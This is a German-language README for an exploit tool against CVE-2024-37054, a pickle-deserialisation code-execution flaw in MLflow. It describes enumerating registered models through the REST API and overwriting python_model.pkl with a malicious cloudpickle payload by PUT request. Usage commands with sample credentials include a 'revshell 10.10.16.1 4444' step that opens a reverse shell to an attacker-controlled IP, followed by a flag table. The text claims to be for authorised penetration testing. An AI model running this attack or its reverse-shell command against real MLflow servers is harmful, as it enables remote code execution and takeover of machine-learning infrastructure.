
CVE-2024-37054 Exploit und Dokumentation
Schweregrad: Kritisch
Betroffen: MLflow 0.9.0 – 2.14.1
Typ: Beliebige Codeausführung durch Python-Pickle-Deserialisierung
mlflow.pyfunc.load_model() deserialisiert python_model.pkl aus dem Artefakt-Store ohne jegliche Bereinigung. Ein Angreifer, der die MLflow-Artefakt-REST-API erreichen kann, kann diese Datei mit einem bösartigen Pickle überschreiben, das beim nächsten Laden des Modells beliebige Betriebssystembefehle ausführt.
pip install requests cloudpickle
# Enumerate registered models
python3 exploit.py --mlflow http://mlflow.target.com \
--user admin --pass secret \
list
# Explicit model + MLflow Basic Auth
python3 exploit.py --mlflow http://mlflow.target.com \
--user admin --pass secret \
revshell 10.10.16.1 4444
/api/2.0/mlflow/registered-models/search abfragen, um ein Modell und dessen run_id / experiment_id zu findenPUT einer schädlichen Cloudpickle-Nutzlast an /api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pklmlflow.pyfunc.load_model() für dieses Modell aufruft, entpickt die Nutzlast und führt den Befehl ausDer Auslöseschritt erfordert einen Anwendungs-Endpunkt, der das Modell lädt. Wenn keiner bekannt ist, verwende --no-trigger (oder lasse --trigger-url weg) und löse das Laden über beliebige verfügbare Mittel aus.
Nur für autorisierte Penetrationstests und zu Bildungszwecken.
| Flag | Beschreibung |
|---|
--mlflow URL | Basis-URL des MLflow-Tracking-Servers (erforderlich) |
--model NAME | Name des registrierten Modells — wählt automatisch das erste, falls ausgelassen |
--version N | Modellversion — standardmäßig die neueste |
--user / --pass | HTTP-Basic-Auth-Anmeldedaten für MLflow |
--run-id / --exp-id | Modellermittlung mit bekannten IDs umgehen |
--trigger-url URL | App-Endpunkt, der load_model() aufruft — weglassen, um nur hochzuladen |
--session COOKIE | Session-Cookie, das mit der Trigger-Anfrage gesendet wird |